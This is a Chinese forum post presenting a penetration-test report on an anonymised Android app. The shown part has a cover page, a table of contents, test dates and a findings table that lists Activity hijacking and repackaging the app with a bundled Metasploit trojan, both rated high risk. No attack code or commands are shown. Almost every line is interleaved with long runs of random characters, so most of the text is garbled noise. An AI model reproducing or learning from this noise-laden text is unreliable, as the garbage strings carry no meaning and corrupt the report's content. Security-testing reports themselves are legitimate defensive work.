找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4723|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0 `' ?0 L+ G+ M 6 ~7 r+ A% ^4 n: r

6 f: a* y _- Q# [* } 9 g2 J* f! [( G
4 q& a3 {/ m& J- E* t5 ~1 T: g # ^0 k4 F& s: K, X

, M: V" V; p) s ) V7 }/ X" i2 O+ N7 u5 } w
' T, C0 [9 ~* T$ y$ R; w3 X5 F: u4 X4 E. |) D2 O

4 Z5 N7 A$ f& X) l , m1 r4 E( L, _6 O0 ^' V2 c- x 文档编号:                * h( S) I1 w" U% @. j8 p4 h; ]+ l3 w% a/ z0 `6 t/ S

. r. _7 X4 b+ b, v3 j$ u ; g- z* \+ |3 l' H3 W

. Y5 I1 W6 C( x" q: `3 \ ! w) m/ n+ b2 _7 Y- o   7 O2 R' |' g+ d A 9 |- Z$ L+ l9 }& Q

% o& ]3 B1 x ], {: }' ?$ k+ b & E, Z0 u/ b$ `. l% m/ c

& y. z) D% c; ?. x + M4 X1 ^: ]. S1 Y   % P' @* `- L$ `6 R+ ~: C/ r0 G ; s& i A3 }: K! _# f; o

5 A6 O; _7 v5 G& Z _+ X1 i [( N 6 j2 ~3 k. I: B

5 _( K% P+ j0 R6 m& [ 7 h% X( n3 C: t   9 T$ H. `/ B, D+ b2 A) s8 X3 C2 o ' i3 l' V% w0 @, f! ]

8 C5 J' [" Z9 v0 d2 X( ~5 o - l* m b, U y) B7 u

" y5 I( P9 x R g: b8 w " x/ o l1 `; |4 I8 h S* N& j   7 j; h8 X, A' D; {' A7 r4 W * m! ?* q* q/ i

! t, x" t- k: G( R+ m9 s / [0 a: h9 z8 G2 }! T) q% e; K

% c; F( Q0 p+ z: x' q& ^ w1 n, ~$ ^   & H8 T* J( {" [# M) O9 c5 W! o ( n" Q2 } k$ ?$ Z2 M" i

3 B% E% @- l: }" a" y# h& p m+ X0 q

: h# E7 I5 |* {: y0 T. A 4 Q# \* Y9 ]) ]- D 某某某APP渗透测试 8 L b% v7 O$ p% `! n" E- M+ V / u, i$ D. Y$ q8 t8 [+ b1 ]4 f. V

+ @3 [% ]0 Y: L U4 P# L # B3 E& B3 O) a1 W" D8 X

! b2 ]% Y6 C8 }. i 5 ~* m$ t# f1 x. F! o   & G5 U" D9 u9 H& h4 f1 K+ t9 r; E. n% q7 v5 g

/ {4 Z, ^ B- A/ ]" g& u a% y 8 B+ n; n8 m3 q$ U% {1 u. N% X

! ]. K& r" I: {) v) U4 g; \7 ?# R8 Q3 `2 ]$ W4 r0 ?( P8 L2 p   - d" b5 D) H6 Z1 s1 y/ [! U s- q& b! @

9 ^: J7 t# m0 Y ) n) g. o& J# Y9 d$ l

% X6 ]1 j0 w: h8 Q ) O' t. ^2 x1 I& l' o' m8 O q& n   : {; U' }# J, o( S6 q - x2 i! `5 G5 x/ D6 X( o0 l) {0 ~+ R

0 d; `1 V5 o5 B) E0 v5 N$ ~. k. [( F . K+ \* q- q# A" G

9 n {, `. ]6 l2 t : G5 k- ~) v( f! m   6 q3 H9 \$ G5 w % V6 `5 v+ m9 [9 j

: n: R) s8 Q' a! ~5 y+ n. S0 k " x, \8 F% s' z8 G1 r1 |1 Y/ J+ |

0 w2 R; P1 n) o, l" A 4 \6 Q4 c, G9 F" Q; w4 p: |/ Z 技 术 报 告 $ l4 n# q p9 _, P ) a$ p. R8 F+ ]" Q8 K

/ I4 ~2 O+ P1 J0 w" m8 O: F" J ; ?: D% Y+ f6 B) ~6 d/ c1 Q8 O% u% ?

0 |1 T# {& A; s: k' i ) X- M6 U N9 m$ F% `5 E   ; B X7 ?( d. R: R1 j( l. @! _+ j; e # h5 E. V+ m ~6 W1 B7 n, k8 ?0 T/ Y

# |0 ~2 Y7 b9 B6 R u; R4 W* p: A# w" w, x

2 X7 a' z8 z; t2 w ; a# z! `- I/ f9 i0 L1 F1 M   . S9 z/ z% c# K6 h' ? + A; `+ T: C. U6 G

8 p; U/ O B2 Q% Q! w) B - a% } ~ g8 x

6 H ]# t0 U' A2 G: h/ ]8 { 3 ]0 w3 X8 p6 \% w   . F+ @- m) Q5 `" `2 [5 p ; s! {6 L- t# \5 P% }

o. L7 b& M5 j $ {+ e8 @/ v6 s1 N: j7 T

4 t- p# @7 i4 Z F* F" }# T : ?, U. g) C* o) C: }4 H   9 f/ b* z+ ]3 f! r) L " G- h& V+ ~/ h' r1 R

) _" m+ L! `+ G( t6 q+ U # @4 }& g Z9 |' J& ~

$ t. W3 w6 C5 L+ E3 X ( l1 U8 x9 ~& i6 n   5 E: |" h6 e; s& z T 6 F7 F$ _3 P" }( L( b

, W' ~& P5 Q3 |+ E + B L2 N3 {8 c4 R

$ P K. o6 s, Y5 T+ I# z 2 B& F$ ]: K$ [9 J. C/ f   8 Q+ P: r7 Y3 F1 D; F; C4 _" D4 o: |/ s2 q* j* [

& ^' x9 H3 E, Y 3 Q! g0 n- ?; O' a; R \$ ^& l" n

1 ~9 H! }/ K) p, \ % q# w' j1 b: \8 B- g& P   : A+ n2 U/ e% A6 \1 C: T) ]7 H! G, b 7 ~5 b, ]. l9 a; N7 O( ]# p# k; }3 k

( D7 m% h+ s7 p# x, v1 S/ h. m t: Z A2 f

+ q& m) M% `+ e! Q$ c / ?( U$ k6 x+ i* f }# Y, }   , Z5 ~9 y5 `% R 9 b& ?! {/ @3 H/ J2 @* C0 ]

0 ]: P" G T/ `9 X* j8 } & Y( t7 g( ?; E: |4 ]- \0 z. I

) c: \( x& k, Y) I) j- b6 \" j& V   3 ^) M8 j- q3 r! \6 |& o4 R& g: y3 ]. c9 v# E/ N

' O- H0 @/ `+ p $ X, Q: p5 t7 u

9 a. s& ?- p. F* }1 |' E. p" u& w2 k% \ v9 r   3 |% a# L% A$ V, t/ q6 r7 n0 s/ { * n- r$ ^$ o* t7 ~4 F7 J/ d

' c/ V) C. X3 k7 ~; N% j9 g , d$ U1 j- i' s& q, {, U$ X h

( _1 _$ y( C# t6 }9 u- n0 G" f$ ]; b9 f' J3 e   . y" d$ j$ K! O- c B7 b) t$ c- O1 Y( L

+ Q8 s5 ^1 u- q5 v. I1 @/ P* _; c+ U$ v8 X7 q: r4 V4 w& A

/ ~1 c$ w8 S$ u/ y+ q+ j, S7 t: r v; _( p   4 D8 K6 x0 \. J# i. z# j( u, ~

% ]+ W; H3 B+ k& ?. K% o: L 9 p+ C$ ?# u& V

( l& b: F" f/ p+ f% {' a& X$ L: B5 g% y) C9 L: U   " O4 H+ f; ~* K) K- N( O4 S: x0 v8 Y1 i7 A

/ [( X( k0 ~# Q/ A# J4 [' l% G8 m- @2 E* x, E4 ~$ [

3 j. _* @& R9 E i 9 r) `$ N0 O0 w* `2 S8 I6 u   b8 R- M7 d3 U3 y& i: i! q 7 y8 h" L9 a( ^3 h6 v

* l9 p) I; o' @# c) x& i U4 c, ^0 Y7 Q( t9 H6 Y' M1 `5 ^- U

0 }" T) a J8 x! o0 m! Z8 z# U C/ X# Y" m   4 ]3 a1 {' m0 |/ Z$ o9 N3 ?9 T* J & m" m( x& ?3 L2 e, ^( R" }

. ^2 x$ b3 r9 D - \2 D% J, l2 }( V* i8 y& G, C2 m

: y) \4 U& ~, M% k9 L) s, i) G# B. {% P1 @+ T3 X6 K   , o0 Y% K/ v) {, R" k ! k4 O7 m' p8 x

/ ^) R; a2 S1 Z. O2 x5 w! I: D

* ], B4 O5 |5 i+ q. e) _ + V1 L3 Y. U3 J( A7 h   + \' `7 v5 h& _% J5 U- }% u $ ?+ [6 I# S% `+ s" Z! c1 m

8 t0 F' _9 F" l+ M' T% G1 e: r8 p( F( H% r

6 x' [& i6 X. H' J / b5 k+ y% @( ~   . p, \ @3 {* M: w9 ?' a8 g 8 N0 y$ ]! ~$ D

/ }# y) d* I! C1 C6 f6 y 9 u) _0 x5 R: X+ \2 Q

; w. X4 Q( D- y" |3 O# A t5 ?- B9 Q7 | M0 ~, E 二〇二〇年 3 e2 m2 P% m; x8 ~$ c" K* q( N ( k: D, l6 U' ?5 \, ]3 h% }1 O" b/ B3 Q4 X

; j& K @. k! k, Y* m ( t5 N3 P4 M1 V- |5 K
* S' b' E, B1 s# k0 v + y" b! {& U2 G" H1 c
( j _! g( L7 X' g v, P ; {& Z2 Q& M3 ]: ?, B
( x* i, f" I* b7 |; k 2 l* k6 y+ e A
! d) ~% {1 e9 K; W # l( t$ l( C9 N; H0 w, r: U% i: ^
5 r$ o6 I$ u( m0 O- w6 z% u5 N3 n3 Y- M0 V: ]* b6 ]0 g* q
% I$ k3 N# Q y" |& d : V5 A- B; t0 H I5 E2 R& Q
* s( t6 C2 _) K1 \7 o ( E( ^5 Y0 v- R5 w
2 m! k1 R3 ]2 z+ a6 I . i& b% ?2 b0 j2 M$ G/ V

' Q9 j6 T; x7 T+ \4 d8 [1 @$ m$ w& S, q p 目 录 " E+ S: I- s; z2 k! P8 S8 k3 s% g2 z) Q" @# L

$ W$ v$ t+ I/ p% h8 H. E' w ' y" @+ m1 {' ?9 |, ~ % s' I2 S/ c; Y% L" ^6 v ! q3 |1 G# o Y2 s. {, w* U2 p2 I

! M( j7 F+ r. F2 w+ @, f 7 [6 ?1 T- U- {   ( ~: n+ c4 L m, @+ X5 G" \" w 9 D, M" n- @9 w

$ }9 f" S, J2 n* v b $ u7 C. Y: \" { z+ b

4 c' a j! t, `2 O# G% n$ C8 |' e 7 ]8 M' S0 D j$ \6 Y 1 概述... 3 8 x; L3 S! A8 i _% g , @. k2 U* t: S& T3 c

0 d, B6 R$ n ^- w+ k3 r" L 8 S& K4 f1 D3 ?0 P/ h4 ^. x

5 Z/ D4 s m6 @, {+ d" I ! t4 U2 p: O- J6 A+ Y7 L! x 1.2测试时间... 3 ; U" L) G" J$ t: E! b" o, j( _5 r1 Q

4 {* |, Q8 i# m! i$ ~0 ] 8 b5 D! t) x6 j

1 ~ \, T: S! b/ A * A5 c8 C3 O% \0 L, u 1.3测试对象... 3 " f7 n& I( a! j* w5 b% }7 v) c8 e" ~6 w) C$ k1 ~1 {6 B7 C

) P" v; k# w Y8 \0 g6 I! x- ^) [! c/ Y5 y' b! o0 Y% S1 S

0 M; Y( n" q8 Q* Y/ p1 m* c* @0 z0 C: E9 o' f7 k5 t; a/ W+ _! r, ~ 1.4测试结果... 3 3 Z, w# g" I' T8 o* t, i ' S t5 r+ H0 I: _5 I7 o/ y% l* k5 p

0 _5 C: r& p- j1 c0 z 0 ~( H- K" x% O- ]' d* e

6 R! R k9 Y6 o4 }! j4 Y8 O, Z1 d1 ] L3 l 2 检测结果... 4 8 O+ [ |" g3 H( w& L* I+ } G: x * v+ U$ e1 |) b1 @& O7 Y4 S

9 g+ u" \7 ^( A* @6 E ! x5 c: p! D* N; M% B

. y8 @$ T* [1 t) y0 r8 q ; j' }" c; o2 g9 Q( }: q) I 2.1 某某某... 4 M4 l) @: ~- J* E5 f2 c2 G H& y. v! A

: p) f1 @9 H8 ? E8 _8 q . Q) O: a$ t; `- u# F* z. y

" E0 J3 @- |2 s) g" V# p& [" R # G( }, b$ S8 D6 o' z* Q" D 2.1.1检测目标... 4 , l" B# x8 C4 w3 A: ^/ ]: o: r# b) K8 D& D2 a

2 @+ i/ g8 a+ |) v* a) r , j8 S: u4 R/ Y2 r

" {$ Y1 f& w6 v0 A- P, M+ `7 @! f + P7 p1 _0 \7 h+ M 2.1.2检测结果... 4 , g/ C& h7 g! e; ] ( a0 m; I6 r0 {7 b* }. _' E0 ?0 d

1 `* T. J, x3 X& E ' ~3 U2 L. S1 S. z6 }) a

& K! O. R1 c3 Z( f" f : Z( f7 A s' v9 j6 y 2.1.2.1. 4 & M3 W7 v7 h! ^( L# j' e ) d% V6 b# U# d* y, W0 \* a& V

3 O4 W( M1 Y; o6 b9 S |% A& W0 t( d0 W# Q- M; J* a

/ C! |: `: j/ E ' w" W* a8 `! {! i( x$ ^! E. l1 E ~8 O 2.1.2.2. 6 8 a& U) L* ]6 H% G- o0 Y8 H3 d; v) J( e# d r, J; Q

3 Z, Q$ u5 L5 m1 h0 r( U9 | ( m4 \) [, L2 h

7 N( w' `8 D1 }) f3 B$ }/ ~+ u; o) M * m2 s% }0 O! i0 ^9 [ O) b, U " A+ y: K3 S" R+ p, Q; ^( i + j: }( F- ^5 L- W6 Q+ z

8 [8 L: q" n) t% t, n$ G 1 y6 n0 M) _: J3 D8 Q% l
& f0 y& e& r& I0 w) R3 u4 U/ Z X$ o8 @" t% L7 D
: L. i' ~2 U s- m* B " M' X7 n7 r# J8 ]9 q$ `2 K
$ I, g {- M N" u E7 z. P9 {4 A4 E( I
$ i8 V& [5 V) D6 q* h . Q8 h, j7 @, T4 n# ~$ A

' w& K% n6 X. _- F( }, A " D5 j% k& t* ^3 P 1 概述 7 G w9 |% Z+ K% Q+ @- o , Z% O& q0 R' |$ q

3 c/ M, V* O4 i. }5 I( @ - A* y" b/ i+ y$ [# w$ j

+ I; o& _( O/ @% C8 C* u5 ?) R3 R# V; f( T }: p 1.2测试时间 : t& ^0 N# y, {) u, r7 q( G : n5 l1 ]+ @$ e

7 X- ?, J. ~, I3 X9 M8 q$ t7 D3 i! Z ( l3 N) h5 r( N8 i0 Q& E; @- [' a, r$ J6 I* x" s2 ?4 o) C/ k g8 U* s# p3 O: H% \4 }. }! B& M* R* X. O8 @2 u2 c, X; |5 l: n7 T- p; a# _2 H; |% d$ \+ e2 g' i E5 |( |2 U. M0 }: H: P9 j/ D; {& f( o2 X4 w T( O9 i ]; M) u; I ~8 k6 ^* p9 p; ~- k( z) J. _ j( z) c3 }( G, ` O2 P0 q+ y- v6 I, B. e& u, P* l8 e6 j S1 f& H& k! U: N% i$ X+ g0 t7 h* p1 G+ i0 P4 _2 X" p* d4 ]" p6 a1 Y0 W0 o% `& V( x4 g. F/ V3 C/ z F+ N3 \$ y: A% u6 A# z: D' m/ x$ L( \$ N6 r- p: s9 \8 l g( r' k9 R4 O, |' h6 d N( U1 r, ^6 b* R7 e+ w; W: g5 q. I4 L$ U) A) H/ {! l7 O- x& K$ w7 ^5 h! I \; J$ B. q2 }6 L5 }: d# L* Y: d3 S1 ~- k" s# [
1 {" l: I. W4 K- l, m3 j ! P3 B; }- ~# P! i: Z

. K1 ] P9 J5 {5 \' I0 m( Z" T/ T) J6 R% g# x# x; [' k 渗透测试时间 8 @5 l; E8 S: f+ I0 P1 S% @" w @ ( X/ @1 B4 F# S

. [; R3 A! v$ e8 Y* e) R) _/ p , K( l- i) x! H
% s9 j3 M5 d: G9 H- C: }; j : R: C D# q3 b) ^

& e* ^# n d7 p0 U1 z 5 P# H) {6 T+ @& ^: f: z! X 起始时间 , V' T& b9 @4 B! J. q' J2 v3 a * L1 i6 a1 ]/ v! Y

9 e9 h* X7 T9 g7 `8 H1 \! A! `- h 7 f7 w* N9 E/ A/ K. ~' E
7 V& d L' ^' Z1 q" ` 5 [+ A' l; h+ \( i+ X; i

+ |! y2 z5 I" d6 g$ S& i 9 s: ]+ l: ^: G8 x- H 2020年4月6日 # G, N3 c3 t' V3 o0 Z) }) n 3 B* }' @2 j/ B3 [' @

7 Y1 b- T7 B5 P4 U + C9 R! u6 s7 X8 m+ u4 ?2 _
1 ?0 Z0 ?' c7 ?4 b* m, d $ H a& r( X! |: G) ?3 W8 z2 g4 \

5 W! Z8 n4 P3 U% z( W- T/ L6 F& s- M3 F) K2 R 结束时间 3 E& b- }/ v/ u! q" J4 t ! S, ~+ B8 A4 n# s7 E, m0 T! S5 r

) B& N; q& G- ~* o0 w5 ]8 a* o4 P U4 I3 c8 L) h- y# v% `4 d& B. l0 Q. b
; v$ n8 L4 Z$ k 2 b+ x1 d0 B- h# O, N( ^

7 ]8 J& t9 V$ [$ I" \6 f6 J . o" o8 v" ^' C3 U: u 2020年4月9日 z) Y2 o& Y! x0 h ; ]1 o: s- L4 M* ^# p- D6 S+ R8 s

. i& c! ~3 L2 \. n0 _ ' G I/ s5 q" r1 i6 G0 P
$ X1 h ]' N+ ]6 K* u9 ^ , Z& s$ R' e. d3 P- Y9 H! ^6 J

! O5 ?3 @) D! o; }5 g" Z3 h" ` / d( X; |1 ^6 V; _1 l 1.3测试对象 8 n& |+ O- `6 w' G8 k . k7 R, ]4 ^( G/ I( D: m

% G& H) u9 Z& {* j7 ] 5 Y: e- ~% S7 k3 }' ~/ K A C

0 D( P6 p- q: U' V. z n. x* f& k9 B) I 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 3 g2 j0 o8 V3 {0 z - R: q! V1 H. q e4 ]# f

/ R/ N) X* f) n$ i0 M) w- O ! z5 Y0 C c8 k$ c% s: {

% }! m& }* ]; Q; B; @8 y 1 q) i, c4 T# L6 _( J 表1-1 检测对象 5 e- ~- `7 n1 I4 C' s* y 7 a) f) g6 l" {/ {& p& | m

) m+ F- a8 l; k+ h4 l3 ] E $ }% i& Z; F7 K9 U3 T; v) A ( i u6 y7 C" q, R. l- v2 B7 C- b8 t7 z9 B* B6 e, G& Z3 z: ~& f6 r, ^( T2 s L0 F% \6 t) a' I$ p4 T( @& J7 w/ a5 |+ l: v+ h3 R1 l! r5 d. X$ p! W% R4 |$ J& ^6 F/ b, T' e& R i, `7 G6 j9 o6 P7 Z0 x6 f% j% G$ Z, G0 E: k, v, X R% r! _& ?7 _& Q3 f2 F1 S* e: {1 K. g l/ L/ C5 B8 K+ F+ V- l4 n. |# ^3 F) u- k7 b9 n$ }2 p- I7 q- j, m) Y$ `- h7 z8 W: C4 N- F0 j7 N& X& }/ |# l1 B& W! H- | T3 S( t3 v2 w9 o; U: ], C6 {* q5 @2 f, y; i! L9 G q9 n# N; K9 T! v" E% D' v# Q+ k' y( z! c+ l% G3 n/ ?; ?$ j" I- A- Y E# P% b& Y5 v& A- @2 z6 k& ? a# m9 F: V- E* i R/ X) c: s4 a. n, `+ t& m3 ]8 Q% P1 b+ \ }1 M! V6 `0 r1 E4 \+ ?% o& U$ P: T. |/ ]% N* g; h$ H: s: R6 p0 m6 k. X: i' ^! f: @9 [" ~
1 v" Z& T+ i( ~" k2 K( m. w* X4 V( g7 x & _9 O6 ~1 d5 ~% \8 s/ x

! }- B4 {! @. P: c8 q& F 1 S9 X1 o" b/ e, @ 序号 0 u$ v' Y0 B1 J! {1 k6 q+ }. ]6 X3 M8 F

& t0 s4 `5 }3 U; r8 K , h8 c% j0 O5 |- i
+ ~+ L) {& C& M- y9 ^ o# U6 q ( r* D( ]' w; c4 B& p3 Y9 C) R7 Y

* z! B" B8 f% @9 u0 p% Z- b8 C2 K+ `( Q* n- V7 i5 q- H 测试对象 * b, t4 K2 I, {# K1 {, Q 8 m( r& [* j# x

' Y- ]3 ]# o; u T: m1 E $ e1 t9 b3 z9 u* m: n, N: t% ? q
/ W1 s# Z$ P/ u. m 9 P: g7 b6 m3 e* Z

& E* d4 _5 | Z9 o ^! v G: O N; m" w 测试地址 5 D I* ~9 {8 S+ { ) M0 Q) \: d! _! E3 v; \' g& S# z

( a% n. F- T! ]$ H- d: E" q 0 h6 K% u9 z1 ]$ t6 b
, c3 R' u( H" b. [ / o' } M1 E8 b7 _4 ?

5 u9 H/ c d+ l0 h" h O . G9 [0 [6 v( [% N7 \/ m0 i 安全漏洞 4 ?. q6 F } w1 o2 U - B/ U4 P5 E" w! `) F* ]

5 A( R3 {" n" e% Y * b3 A2 U+ ?+ A }3 o. E
2 |3 R: S3 ?3 v/ @ - p0 l& Z7 x6 H. @0 [7 B

+ Y3 R/ N9 K8 u) Y; X+ p % t8 P3 Q# c/ G l$ d- l 1 ! z9 L7 f( k2 z# g3 S& J) r+ ~ 9 v* n$ ]0 {8 g! ?2 _+ ^

6 V. M& O- W" E. }- m8 F ) _: X0 @/ \5 q2 h; M
- {3 ?) d+ X8 P4 z4 } 1 W8 z4 ~' [. W, N, u' V2 V

+ O# A/ j2 ~4 L. x; q; C. j# y/ W' S2 F: n6 ? [7 l 某某某安卓APP c3 `) e+ p) s4 L x6 ~( d m' ?' W; P) F" B6 d( ]" d9 ~- T8 C

k6 [& _& T# g, B 9 W1 b7 t; }# Q( \( w R6 p
5 o. Z4 E. T4 ^' U$ D+ R " ?; e8 t1 e {7 w

! n. N9 N2 b3 C; A8 y' p 8 r" t' z8 X" a: \% L2 S# D   9 k4 d, R1 M R# }6 ? `0 h: d7 F! x- o/ S+ p

& o) W3 V$ a/ Y, s5 x* x3 V, z8 U
* T6 F0 T% B0 S/ b' O ; l9 z* a9 R8 s5 q, ?

/ ]9 {: o/ `% J; V/ `7 h 3 @2 Q4 f y% \) S$ D5 ~ 2 : S) [- Y4 Y! U E0 `1 w5 W3 `+ L" o. |/ f. G

; w" U: b4 c7 ] . p1 q, X. p4 N- ?7 _7 }
, g- O/ p: Y2 Q9 n2 [9 { 4 T: E$ }; G0 [" ]: n) N

& R5 H- K: D& ?2 }" Z B ; {) l8 |( F: ^* u; y 1.4测试结果 5 S" u$ b- y3 C K: U# [5 R: o7 t- @5 X

6 O- y$ Q& ^# ? T( M 3 H0 F# m- H6 y3 L8 I

0 x4 I. L1 Z$ ^! `$ R& ]0 e2 M ) Q8 e6 _7 n( \2 T; J( { 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: : A; n8 M# J. @# H+ o 6 j5 _) P1 s' I2 w! {+ A

1 N2 {- L: r7 o* g4 F; Q . ]# n9 U0 y" ]/ Z: i

& y" G, j5 M0 p+ A t2 G, s* z, q. C* A. k$ e   2 F, T0 A% t% b8 A2 s( `! G 3 [" Z6 p2 _6 d. @% \

8 m) X3 G" K2 C/ b2 t 0 n/ }; \9 F6 B1 b- [+ L3 |
0 s$ P( x* V: D4 {+ @ + L3 {" T! j/ w! U, @ p/ ` % Z+ l+ ]# Z3 B) i# Y0 n, p8 H9 d9 `# n f/ ?; I0 U* @- I8 q9 E* J3 w2 ?( j/ M9 Z: [& Z* R# T) R% Y% K Q* ]' Q+ _) K4 B( `5 c1 [. `' G- W; e4 t- z- O' o- U, \ o8 H' b* l0 @/ D; F3 _2 B* d T% S; G& ]- E3 j; {2 u0 M' @% U$ C+ f2 J. N% m1 E: N3 L# g7 u: S: `6 @, Q9 v! A8 H2 s1 T5 G* d Y7 W |6 \% ]4 X! `: ], S1 U) R1 N0 k# I, R' W- G# R$ v3 W, C# \ e* d% Y# r$ O, i5 D% o! W' ~# v) |. e( `; h e9 H. H5 n" U4 B( i9 c- `& R" K9 r F: e. y# w. v9 Z$ z2 ~4 j) }% z4 z2 w' \/ a6 G0 j$ y+ R! B3 [/ H/ ~4 E$ ]4 w) Y3 z" K: z+ [9 m/ }4 j' e/ z( h0 y' ]# m5 Z2 ~- M& P0 O) c. M' g* t3 R, j. d' L/ n# g1 U9 j$ j; G3 G S8 W5 ^) @& o0 H& X8 f' C1 R; P% U. P9 a+ o- ~. T, n- d* @2 ]) D7 T$ c: @8 t4 D5 H5 r3 y# S1 d& M8 F2 B& Q% @9 [$ Z4 i0 ?; K) {5 }- V$ H; K+ h& ^. o5 M2 [- l7 ~" |1 a5 Z3 k5 {7 D9 }* |% k7 d$ t5 ?" `! a4 r9 p* y$ s& Q0 Y5 `6 x% t- @3 S* S2 m* ?( j$ \& K& e7 ?' D. @! G8 }3 j3 a' V+ R5 Q! [2 N! s' I1 |3 q2 \" ^: k3 [* _' n! t9 x1 X( o. L( I9 y" b2 p9 v. c/ |* V4 i( U& u* Q) v, w1 Q$ _8 T0 E+ J0 {/ e2 o i) o. G) M' e- v) w% [8 |, S4 Z& ]& z! B7 T" Y4 u1 H2 V2 ?8 J2 C5 E" _; y* k! n/ }4 E! F8 Y: o6 c! ]" b4 D! v" q' W$ a6 J- t, U5 H6 s# j/ W/ Y6 p p& P- d
0 g8 t7 ?2 l$ l0 Q+ t" Y6 x ( K; G* o6 I# l, J. m- E+ Y3 ]

: q4 @+ l! Z- _# k # e% K1 l; e. k& B# W" ^ 序号 1 e, A8 P. f$ ~4 D$ ^, e3 f, I V7 x

( p* w7 \( z% ?0 X0 a1 O( m + I" j$ G7 S. O, t" j0 s
4 g5 ]% K2 h, F) j+ K; c % A% K! r+ Y" \& {" \0 v

6 @* c9 F8 B( f1 r' l: y6 w3 d2 w. s # G- t2 n- [( L c6 q L5 i5 G 系统名称 ) r; |# o1 I: H( [% P+ h1 ^* ~7 D ' C! a. Q' ^1 m) W: K) u2 S. r- M

4 _) k' y# T) e2 D- q$ x; L4 S5 W$ c 6 A8 y! w# N* Q1 Z
6 X' a s; v# V, c& @) H& K: }! S1 R

" `5 q- T3 ~2 H T3 l% b - l p7 n; X/ S 漏洞名称 ! q3 I: p# E4 k& i& ?! V0 l0 @# x$ P, i* H

. v+ L4 w3 ^% d: X * [6 c$ e3 l g" F. |! z
+ C) `1 k9 X4 U% Y8 _ * `* k' B3 A; D+ P0 E3 l

; a, H* S5 K7 O; e, o: a" o% I; X0 i- m6 z 漏洞危害 , d" Y4 }! ?9 ]* b J$ k2 w9 \3 b/ x

$ Y7 n) C( m+ h - h8 Y7 f: U) b% |
) ~! b# Y: R6 I + @& C' @2 C& C7 a

- F) P4 a- k" c$ T & _( l& X O+ g# f2 T 修复结果 ' D& Y0 j' s( G8 M2 i) s# q . Y0 _: Z) d3 u# t _

) j. Q. g M8 l/ n: P * i% w4 S/ m8 h/ G8 n" D( {
& K+ Q9 [; Y- e) V* y2 t 7 l5 r" A. k9 [! e# C+ B

) D2 L* t. t7 d- M5 z1 t3 F9 { 8 i* L, {; _0 D4 p k( e$ z& m# \8 o 1 8 F l* ?& K& y* A [& z- p; a4 X 7 W2 S/ }& U/ c Q/ H2 M

) W; H% }4 Z, }! X* a& D1 c8 K l8 V5 b8 }6 ~; u$ d. D3 K6 j. W
1 e3 n- G. v$ i& H- ? # @" V/ G% n( T- @8 P9 R, I

7 e8 n9 g- i# z" ^& ]4 R ' l9 a6 T7 [' j 某某某某某某APP Z& j" d9 h( D9 ` 9 w0 ], I1 l8 u6 @

0 W# W/ F+ |- ~ 7 L6 }+ \, X- @ ^: r) [& F7 a# ?9 U
% d$ t5 `) N* p. @) z6 j% ?) R- P b& a. W' Y

+ t) n9 D" }, `9 o# l. K; r 8 }/ U* `2 D8 M' X7 H$ |' E Activity 劫持 / D' L* i/ M5 e- k+ }* l" ]6 T " E& ? {; @$ b% D; F d

* T" w( A' q* d% }4 w* W9 x) r ) `$ l; q4 F, N7 K0 K

8 Y& r, [: y6 @ 4 [/ y8 Z% X( R7 Z4 R" }! z   7 x9 B9 E: C$ e# j1 t. S/ a/ w- @# }/ A4 p3 X9 P# D+ u

8 U* N" y; b* h4 M 3 N% _0 K8 Y6 a- m u7 p" E0 Z
2 A1 d/ @) `/ E' u6 a( t6 Z7 a! }4 L

* [4 c- w& q: `. c2 ]7 D % y9 J& X2 Q7 Q% d( D 高 , l! G& u- c7 S! i3 N5 b9 Q# J9 _ ) Z! K) U0 M2 r+ r( n

4 l7 `; ^# V( }3 P( a+ \" U9 ] ! \* R' d/ @" O; J/ l
% m3 ?, b) ^* x& P0 ^4 t; B2 s7 N$ ^

: g- t6 b6 X8 U) a 2 G# C7 }7 a0 u# F: o+ W   # @. J, S$ H; B& B, z+ U5 k# ~ ' X2 E) ]$ z: [* e* H) v3 m

9 G& u# _9 H5 C& l, w# I Q 8 ^4 ~8 o' h5 X- `! W; @, c. x
$ Y1 M! F& t5 i' w" r( t9 t4 o1 d1 Y% T

5 ? Z8 [2 |) l1 U% w7 D" ^# z% N' m$ s9 z 2 7 O2 k) P: U8 e2 A- j" Q" z0 z 7 i# k; q+ z; g

6 M4 _* Z- d" A * x G% _2 t4 L/ v5 w/ N
+ E' O6 \8 m) n6 B; y' X 1 z5 ?' A" ~6 _0 W

1 \# G- l2 V t' \( \* Q; O 7 T5 f7 w% D2 I& g 某某某某某某APP ; E7 x0 E8 W' z3 C( C( P G3 o5 u6 D i# l

' m1 u3 t4 n; X 7 E3 s* C, s* i9 ?! R( B# z
/ N8 D6 j3 p6 a! g# T. f 8 o3 j- B8 z: Q/ z; q

$ L) Q- |6 H- U8 p, D : q" H4 {- l% X- U' K. s4 E" X* ?+ S 反编译二次打包捆绑木马、篡改APP代码 ' v5 m6 q9 i8 { . y% R( G8 U; }. w( H

2 f2 k$ p# N& z7 O - z$ h) n! }4 L6 B! G7 |
7 o" v& X5 p X& [& x _ ; i' N3 v& l K; q

' h* m0 }0 ^1 m+ H. y+ B 9 M" L7 \3 u4 o c l% h! _; S 高 3 M; y* q+ Y0 k( g: I $ E/ _' }, L% F6 r

' `3 }3 C8 r6 w0 x7 { : E* n3 i# ]$ s; w) c1 J5 }
5 c- V" f' \+ I a ( N% u/ F% K/ y9 r5 @7 e6 i

, b O$ o1 Q) {1 u2 V" _$ a* y' b " n q1 @, Z" ?* @0 a& |* _) c3 ]   ; ^6 D9 x" ? C0 H9 e9 a2 o N, Z8 s* q0 s( F' B% E

; n, g( t" u6 S, g% y + n* I1 P* } o o* u# ^+ E
4 }# g$ ~( Y; _3 ~; W: Z1 y, M 9 n( Q6 G- j" t) A. S
7 f. v0 y+ s U2 ?7 v+ R , b m8 p v- x, b. p# K- F% f

" s* k7 p9 ~+ h2 u9 O5 W $ w' Y' F, l5 v   + b0 D, C& ]( t4 l7 {) Q 1 }& @8 F1 E9 S

( ]: r/ s+ {4 H7 y( @4 r 3 v; C% \$ G& r$ V0 n5 `

% R9 X; ~$ {2 r, M . V% d V; \% \* {5 w: z( O8 L 表1-2 测试结果 5 }. a8 _ N0 ]/ E& r I' }$ g * Y S' M0 }" [9 X1 T* p

